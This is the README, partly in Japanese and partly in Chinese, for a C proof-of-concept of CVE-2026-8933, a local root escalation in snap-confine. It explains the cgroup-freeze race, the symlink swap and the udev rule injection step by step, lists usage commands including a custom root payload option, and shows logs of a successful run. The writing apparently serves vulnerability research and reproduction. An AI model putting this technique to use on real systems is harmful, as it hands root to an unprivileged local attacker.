
CVE-2026-8933の概念実証コード(C言語)。cgroupフリーズ、シンボリックリンク競合、udevルールインジェクションを利用してroot権限でコマンドを実行する、snap-confineのローカル権限昇格脆弱性です。
Qualys のアドバイザリ「Local Privilege Escalation in set-capabilities versions of snap-confine」(https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt)を再現する。
本機(Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / カーネル 6.17)で実測:uid 1000
から出発し、最終的に systemd-udevd が root でコマンドを実行し、/tmp/pwned が
uid=0(root) gid=0(root) groups=0(root) を取得した。これは公告の最後のデモで示された効果と一致する。
再現過程でのつまずき記録、および最初の評価でなぜ「悪用不可」と誤判定したのかについては、NOTES.md を参照。
| ファイル | 説明 |
|---|---|
poc.c | 完全な PoC(単一ファイル) |
Makefile | ビルド(システムにインストール済みの libfuse3.so.3.17.4 をリンク) |
include/ | libfuse3 3.17.4 ヘッダーファイル(システムのランタイムライブラリに一致) |
NOTES.md | つまずき記録 + 到達可能性分析の方法論レビュー |
cmd/snap-confine/mount-support.c(snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
行番号は本機の snapd 2.73 のソースコード(cmd/snap-confine/mount-support.c)から取得した。Qualys
の公告が引用しているのは同社独自のファイルコピーであり、対応する行番号は 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 である —— 文は一対一に対応しており、行番号が異なるだけである。
本機の /usr/lib/snapd/snap-confine は mode=755 + file capabilities(setuid-root ではない)であるため、攻撃者の euid で実行されながらほぼ root の権限を保持している。それが作成するディレクトリとファイルはしばらくの間攻撃者に属し、418 行目の open() はシンボリックリンクを辿る。
逆アセンブルで確認済み:本機の open@plt のフラグは 0x240(O_CREAT|O_TRUNC、O_NOFOLLOW
なし)である;修正済みの 2.77.1 では同じ箇所が 0x20240 である。
systemd-run --user --scope --unit=snap.<snap>.<app>。この scope は現在のユーザーに属し、cgroup.freeze が書き込み可能なため、
snap-confine をシステムコール単位で進めたり止めたりできる。SNAPD_DEBUG=1 のとき snap-confine は
associated snap application process ... with device cgroup を出力する。この行は
デバイス cgroup の BPF プログラム attach の後、mkdtemp() の前に現れる。これより早く凍結してはならない:
freeze trap が存在すると BPF 検証器が EAGAIN を返し、snap-confine はそのまま終了してしまう。
stderr に接続するのは pty(パイプではない):そうでなければ stdio がブロックバッファリングされ、marker はしばしば
mkdtemp() と bind mount の後にようやくフラッシュされる。
さらに scope は CPUQuota=1% で起動する:marker から mkdtemp() まではわずか数百マイクロ秒の
CPU 時間しかなく、取得プロセスの起床遅延と同じ桁である;スロットリングによりこの区間は実時間でミリ秒級に引き伸ばされ、
凍結を確認したら直ちに cpu.max を 100% に戻す。mount(2) は対象
パス内のシンボリックリンクを辿るため、snap-confine の bind/unbindable/tmpfs はすべて
<scratch>.dA 上に落ちるが、コピーループは依然として scratch ディレクトリという文字列を使う。ns_mount_count(sc, .dA) >= 2)、シンボリックリンクの向き先を
<scratch>.dB に変える。そして dB の中に、base rootfs の最上位の通常ファイルと同じ名前のシンボリックリンクを置き、
/run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules を指すようにする。このときコピーループ
のパス解決は dB —— 我々が完全に制御できる通常のディレクトリ —— に落ちる。tmpfs は dA に残され、もはや
邪魔にならない。
注意:.dA 上のマウントが 1 つだけのときは bind mount である(/tmp 自体が tmpfs であり、bind 後も
fstype は tmpfs のまま)。2 つ目のマウント(本当の tmpfs)が現れるまで向き先を変えてはならない。そうでなければ
snap-confine の mount --make-unbindable がパスがマウントルートでなくなったため EINVAL になる。open(O_CREAT|O_TRUNC) を実行し(シンボリックリンクを辿り、root 権限で /run/udev/rules.d
の下にファイルを作成する)、続いて fchown(fd,0,0) を行う。ファイルはこの瞬間まだ我々の所有である。PoC は同時に
2 つの手段を使う:
stat() がファイルを
見つけ、かつ uid がまだ自分自身であれば、直ちに chmod 0666 + udev ルールの書き込みを行う(このとき snap-confine
は凍結されており、ウィンドウは「押し広げられて」いる);chmod() のホットループで同じウィンドウを奪い合う。spinner が奪った
後、ファイルは root 所有だがモードは 0666 である —— モードビットは fchown(0,0) の後でも
保持されるため、主経路でも同様に書き切ることができる(コードが判定しているのは「書けるかどうか」であり、「所有者かどうか」ではない)。/run/udev/** rw を許可している。
FUSE ファイルシステムをマウント/アンマウントすると、カーネルは bdi サブシステムに対して add uevent を発行し、
systemd-udevd が直ちに root としてルール内の PROGRAM= を実行する。make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
パラメータ:
| パラメータ | 説明 |
|---|---|
--snap NAME | どの snap の rootfs を使うか(デフォルトは firefox、環境変数 CVE8933_SNAP でも指定可能) |
--app NAME | その snap の app(デフォルトは meta/snap.yaml の apps: 配下の最初のもの) |
--file NAME | base rootfs 内のこの通常ファイルのみを使用する。一致するものがなければエラーで終了 |
--attempts N | 試行回数(デフォルトは 5) |
--step US / --step2 US | 2 つのフェーズの各スライスの CPU 時間(マイクロ秒)、デバッグ用 |
--keep | <scratch>.dA / .dB ディレクトリとシンボリックリンクを保持する(デバッグ用) |
--diagnose | 読み取り専用の自己診断 |
--cleanup | 過去の残留物をクリーンアップする(root が必要) |
ログは /tmp/cve8933.log に、snap-confine のデバッグ出力は
/tmp/cve8933-debug.txt に書き込まれます。
CVE8933_PAYLOAD_CMD='<shell コマンド>' で payload 本体を置き換えられます(他の
root コマンドの実行をデモする用途)。この場合、自動クリーンアップは行われません。カスタムコマンドは
引き続き /tmp/pwned に書き込む必要があります。そうでなければ PoC は
今回成功しなかったと判断します。
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
/tmp/cve8933.log における対応する成功プロセス(2026-10-23、変更後の再テスト):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."
(以前の8回試行の実行では2回目で成功した。1回目のフリーズ確認が遅すぎて、snap-confineが同じタイムスライス内でbind mountを実行してしまった。)
/run/udev/rules.d/ に一時的に以下が出現した:
-rw-rw-rw- 1 root root 73 ... 97-cve-2026-8933-85431-485b.rules
内容为 ACTION=="add", SUBSYSTEM=="bdi", PROGRAM="/tmp/cve-2026-8933-payload.sh",
udevd ログで読み込み済みであることを確認("marked world-writable ... Proceeding anyway")、payload
は root で実行される。
ステップ 5 のウィンドウ(open() と fchown() の間)は、システムコール 1~2 個分の幅しかない。メインパス
(freezer の単一ステップ + 凍結時の引き継ぎ)はほとんどの試行で成功する。まれに凍結確認が遅れ、snap-confine
が同じタイムスライス内に bind mount を追い越してしまい、その試行はそのまま失敗してリトライとなる。デフォルトは 5 回試行;
実測では連続 3 回の実行がそれぞれ 2、1、2 回の試行で成功した。--attempts を大きくすればよい。
正常に動作した場合、PoC は自己クリーンアップを行う:payload は root 権限で snap-confine が伝播させたすべての
/tmp/snap.rootfs_* マウントをアンマウントし、これらのディレクトリを削除し、/run/udev/rules.d/97-cve-2026-8933*.rules
および 2 つのスクリプトを削除する。テスト前にベースラインを記録し、実行後に項目ごとに照合したところ、実測では毎回の成功実行後に:
mounts under /tmp/snap.rootfs_*: 0
leftover directories: 0
/run/udev/rules.d: 只有 90-netplan.rules / 99-netplan-ens33.rules
/etc/passwd md5: 24c3aa8f7b7bdf6fa770b46601abc1a0(未改变)
user scopes: 0
意図的に残されるのは /tmp/pwned のみです(root 所有、つまり公告のデモにおける証拠ファイル)。これを削除するには
root が必要です:sudo ./poc --cleanup。
複数回の試行がすべて失敗した場合(例えばシステム負荷が非常に高い場合)、いくつかの /tmp/snap.rootfs_*
マウントとディレクトリが残留する可能性があります。sudo ./poc --cleanup でまとめて削除されます。
本 PoC は脆弱性の研究と検証のみを目的としています:
id > /tmp/pwned を実行して自己クリーンアップするだけで、いかなる認証情報ファイルも変更しません
(/etc/passwd、/etc/shadow はいずれも触れておらず、md5 で照合可能);